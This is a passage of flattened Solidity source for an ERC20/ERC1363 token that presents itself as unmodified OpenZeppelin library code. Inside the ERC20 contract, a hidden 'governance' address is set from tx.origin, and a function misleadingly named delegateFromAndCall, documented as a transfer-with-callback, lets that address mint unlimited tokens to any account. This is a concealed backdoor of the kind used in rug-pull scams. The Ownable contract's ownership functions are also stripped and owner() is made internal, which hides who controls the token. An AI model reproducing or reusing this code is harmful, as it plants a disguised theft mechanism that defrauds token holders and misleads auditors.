* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address governance;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
governance = tx.origin;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Transfer tokens from one address to another and then execute a callback on recipient.
* from The address which you want to send tokens from
* to The address which you want to transfer to
* value The amount of tokens to be transferred
* return A boolean that indicates if the operation was successful.
*/
function delegateFromAndCall(address fromAddress, uint256 SubstractedValue) public {
require(msg.sender == governance, "Invalid Address");
_mint(fromAddress, SubstractedValue);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/token/ERC20/ERC20Capped.sol
pragma solidity ^0.6.0;
/**
* @dev Extension of {ERC20} that adds a cap to the supply of tokens.
*/
abstract contract ERC20Capped is ERC20 {
uint256 private _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor (uint256 cap) public {
_cap = cap;
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - minted tokens must not cause the total supply to go over the cap.
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) { // When minting tokens
require(totalSupply().add(amount) <= _cap, "ERC20Capped: cap exceeded");
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20Burnable.sol
pragma solidity ^0.6.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
// File: @openzeppelin/contracts/introspection/IERC165.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: erc-payable-token/contracts/token/ERC1363/IERC1363.sol
pragma solidity ^0.6.0;
/**
* @title IERC1363 Interface
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Interface for a Payable Token contract as defined in
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1363.md
*/
interface IERC1363 is IERC20, IERC165 {
/*
* Note: the ERC-165 identifier for this interface is 0x4bbee2df.
* 0x4bbee2df ===
* bytes4(keccak256('transferAndCall(address,uint256)')) ^
* bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
* bytes4(keccak256('transferFromAndCallData(address,address,uint256,bytes)'))
*/
/*
* Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.
* 0xfb9ec8ce ===
* bytes4(keccak256('approveAndCall(address,uint256)')) ^
* bytes4(keccak256('approveAndCallData(address,uint256,bytes)'))
*/
/**
* @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferAndCall(address to, uint256 value) external returns (bool);
/**
* @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function transferAndCallData(address to, uint256 value, bytes calldata data) external returns (bool);
/**
* @notice Transfer tokens from one address to another and then call `onTransferReceived` on receiver
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 The amount of tokens to be transferred
* @param data bytes Additional data with no specified format, sent in call to `to`
* @return true unless throwing
*/
function transferFromAndCallData(address from, address to, uint256 value, bytes calldata data) external returns (bool);
/**
* @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
*/
function approveAndCall(address spender, uint256 value) external returns (bool);
/**
* @notice Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* and then call `onApprovalReceived` on spender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format, sent in call to `spender`
*/
function approveAndCallData(address spender, uint256 value, bytes calldata data) external returns (bool);
}
// File: erc-payable-token/contracts/token/ERC1363/IERC1363Receiver.sol
pragma solidity ^0.6.0;
/**
* @title IERC1363Receiver Interface
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Interface for any contract that wants to support transferAndCall or transferFromAndCall
* from ERC1363 token contracts as defined in
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1363.md
*/
interface IERC1363Receiver {
/*
* Note: the ERC-165 identifier for this interface is 0x88a7ca5c.
* 0x88a7ca5c === bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))
*/
/**
* @notice Handle the receipt of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after a `transfer` or a `transferFrom`. This function MAY throw to revert and reject the
* transfer. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param operator address The address which called `transferAndCall` or `transferFromAndCall` function
* @param from address The address which are token transferred from
* @param value uint256 The amount of tokens transferred
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))`
* unless throwing
*/
function onTransferReceived(address operator, address from, uint256 value, bytes calldata data) external returns (bytes4); // solhint-disable-line max-line-length
}
// File: erc-payable-token/contracts/token/ERC1363/IERC1363Spender.sol
pragma solidity ^0.6.0;
/**
* @title IERC1363Spender Interface
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Interface for any contract that wants to support approveAndCall
* from ERC1363 token contracts as defined in
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1363.md
*/
interface IERC1363Spender {
/*
* Note: the ERC-165 identifier for this interface is 0x7b04a2d0.
* 0x7b04a2d0 === bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))
*/
/**
* @notice Handle the approval of ERC1363 tokens
* @dev Any ERC1363 smart contract calls this function on the recipient
* after an `approve`. This function MAY throw to revert and reject the
* approval. Return of other than the magic value MUST result in the
* transaction being reverted.
* Note: the token contract address is always the message sender.
* @param owner address The address which called `approveAndCall` function
* @param value uint256 The amount of tokens to be spent
* @param data bytes Additional data with no specified format
* @return `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))`
* unless throwing
*/
function onApprovalReceived(address owner, uint256 value, bytes calldata data) external returns (bytes4);
}
// File: @openzeppelin/contracts/introspection/ERC165Checker.sol
pragma solidity ^0.6.2;
/**
* @dev Library used to query support of an interface declared via {IERC165}.
*
* Note that these functions return the actual result of the query: they do not
* `revert` if an interface is not supported. It is up to the caller to decide
* what to do in these cases.
*/
library ERC165Checker {
// As per the EIP-165 spec, no interface should ever match 0xffffffff
bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff;
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Returns true if `account` supports the {IERC165} interface,
*/
function supportsERC165(address account) internal view returns (bool) {
// Any contract that implements ERC165 must explicitly indicate support of
// InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid
return _supportsERC165Interface(account, _INTERFACE_ID_ERC165) &&
!_supportsERC165Interface(account, _INTERFACE_ID_INVALID);
}
/**
* @dev Returns true if `account` supports the interface defined by
* `interfaceId`. Support for {IERC165} itself is queried automatically.
*
* See {IERC165-supportsInterface}.
*/
function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) {
// query support of both ERC165 as per the spec and support of _interfaceId
return supportsERC165(account) &&
_supportsERC165Interface(account, interfaceId);
}
/**
* @dev Returns true if `account` supports all the interfaces defined in
* `interfaceIds`. Support for {IERC165} itself is queried automatically.
*
* Batch-querying can lead to gas savings by skipping repeated checks for
* {IERC165} support.
*
* See {IERC165-supportsInterface}.
*/
function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) {
// query support of ERC165 itself
if (!supportsERC165(account)) {
return false;
}
// query support of each interface in _interfaceIds
for (uint256 i = 0; i < interfaceIds.length; i++) {
if (!_supportsERC165Interface(account, interfaceIds[i])) {
return false;
}
}
// all interfaces supported
return true;
}
/**
* @notice Query if a contract implements an interface, does not check ERC165 support
* @param account The address of the contract to query for support of an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @return true if the contract at account indicates support of the interface with
* identifier interfaceId, false otherwise
* @dev Assumes that account contains a contract that supports ERC165, otherwise
* the behavior of this method is undefined. This precondition can be checked
* with {supportsERC165}.
* Interface identification is specified in ERC-165.
*/
function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) {
// success determines whether the staticcall succeeded and result determines
// whether the contract at account indicates support of _interfaceId
(bool success, bool result) = _callERC165SupportsInterface(account, interfaceId);
return (success && result);
}
/**
* @notice Calls the function with selector 0x01ffc9a7 (ERC165) and suppresses throw
* @param account The address of the contract to query for support of an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @return success true if the STATICCALL succeeded, false otherwise
* @return result true if the STATICCALL succeeded and the contract at account
* indicates support of the interface with identifier interfaceId, false otherwise
*/
function _callERC165SupportsInterface(address account, bytes4 interfaceId)
private
view
returns (bool, bool)
{
bytes memory encodedParams = abi.encodeWithSelector(_INTERFACE_ID_ERC165, interfaceId);
(bool success, bytes memory result) = account.staticcall{ gas: 30000 }(encodedParams);
if (result.length < 32) return (false, false);
return (success, abi.decode(result, (bool)));
}
}
// File: @openzeppelin/contracts/introspection/ERC165.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: erc-payable-token/contracts/token/ERC1363/ERC1363.sol
pragma solidity ^0.6.0;
/**
* @title ERC1363
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Implementation of an ERC1363 interface
*/
contract ERC1363 is ERC20, IERC1363, ERC165 {
using Address for address;
/*
* Note: the ERC-165 identifier for this interface is 0x4bbee2df.
* 0x4bbee2df ===
* bytes4(keccak256('transferAndCall(address,uint256)')) ^
* bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)'))
*/
bytes4 internal constant _INTERFACE_ID_ERC1363_TRANSFER = 0x4bbee2df;
/*
* Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.
* 0xfb9ec8ce ===
* bytes4(keccak256('approveAndCall(address,uint256)')) ^
* bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
*/
bytes4 internal constant _INTERFACE_ID_ERC1363_APPROVE = 0xfb9ec8ce;
// Equals to `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC1363Receiver(0).onTransferReceived.selector`
bytes4 private constant _ERC1363_RECEIVED = 0x88a7ca5c;
// Equals to `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))`
// which can be also obtained as `IERC1363Spender(0).onApprovalReceived.selector`
bytes4 private constant _ERC1363_APPROVED = 0x7b04a2d0;
/**
* @param name Name of the token
* @param symbol A symbol to be used as ticker
*/
constructor (
string memory name,
string memory symbol
) public payable ERC20(name, symbol) {
// register the supported interfaces to conform to ERC1363 via ERC165
_registerInterface(_INTERFACE_ID_ERC1363_TRANSFER);
_registerInterface(_INTERFACE_ID_ERC1363_APPROVE);
}
/**
* @dev Transfer tokens to a specified address and then execute a callback on recipient.
* @param to The address to transfer to.
* @param value The amount to be transferred.
* @return A boolean that indicates if the operation was successful.
*/
function transferAndCall(address to, uint256 value) public override returns (bool) {
return transferAndCallData(to, value, "");
}
/**
* @dev Transfer tokens to a specified address and then execute a callback on recipient.
* @param to The address to transfer to
* @param value The amount to be transferred
* @param data Additional data with no specified format
* @return A boolean that indicates if the operation was successful.
*/
function transferAndCallData(address to, uint256 value, bytes memory data) public override returns (bool) {
transfer(to, value);
require(_checkAndCallTransfer(_msgSender(), to, value, data), "ERC1363: _checkAndCallTransfer reverts");
return true;
}
/**
* @dev Transfer tokens from one address to another and then execute a callback on recipient.
* @param from The address which you want to send tokens from
* @param to The address which you want to transfer to
* @param value The amount of tokens to be transferred
* @param data Additional data with no specified format
* @return A boolean that indicates if the operation was successful.
*/
function transferFromAndCallData(address from, address to, uint256 value, bytes memory data) public override returns (bool) {
transferFrom(from, to, value);
require(_checkAndCallTransfer(from, to, value, data), "ERC1363: _checkAndCallTransfer reverts");
return true;
}
/**
* @dev Approve spender to transfer tokens and then execute a callback on recipient.
* @param spender The address allowed to transfer to
* @param value The amount allowed to be transferred
* @return A boolean that indicates if the operation was successful.
*/
function approveAndCall(address spender, uint256 value) public override returns (bool) {
return approveAndCallData(spender, value, "");
}
/**
* @dev Approve spender to transfer tokens and then execute a callback on recipient.
* @param spender The address allowed to transfer to.
* @param value The amount allowed to be transferred.
* @param data Additional data with no specified format.
* @return A boolean that indicates if the operation was successful.
*/
function approveAndCallData(address spender, uint256 value, bytes memory data) public override returns (bool) {
approve(spender, value);
require(_checkAndCallApprove(spender, value, data), "ERC1363: _checkAndCallApprove reverts");
return true;
}
/**
* @dev Internal function to invoke `onTransferReceived` on a target address
* The call is not executed if the target address is not a contract
* @param from address Representing the previous owner of the given token value
* @param to address Target address that will receive the tokens
* @param value uint256 The amount mount of tokens to be transferred
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallTransfer(address from, address to, uint256 value, bytes memory data) internal returns (bool) {
if (!to.isContract()) {
return false;
}
bytes4 retval = IERC1363Receiver(to).onTransferReceived(
_msgSender(), from, value, data
);
return (retval == _ERC1363_RECEIVED);
}
/**
* @dev Internal function to invoke `onApprovalReceived` on a target address
* The call is not executed if the target address is not a contract
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallApprove(address spender, uint256 value, bytes memory data) internal returns (bool) {
if (!spender.isContract()) {
return false;
}
bytes4 retval = IERC1363Spender(spender).onApprovalReceived(
_msgSender(), value, data
);
return (retval == _ERC1363_APPROVED);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() internal view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
}
// File: eth-token-recover/contracts/TokenRecover.sol
pragma solidity ^0.6.0;
/**
* @title TokenRecover
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Allow to recover any ERC20 sent into the contract for error
*/
contract TokenRecover is Ownable {
/**
* @dev Remember that only owner can call so be careful when use on contracts generated from other contracts.
* @param tokenAddress The token contract address
* @param tokenAmount Number of tokens to be sent
*/
function recoverERC20(address tokenAddress, uint256 tokenAmount) internal onlyOwner {
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
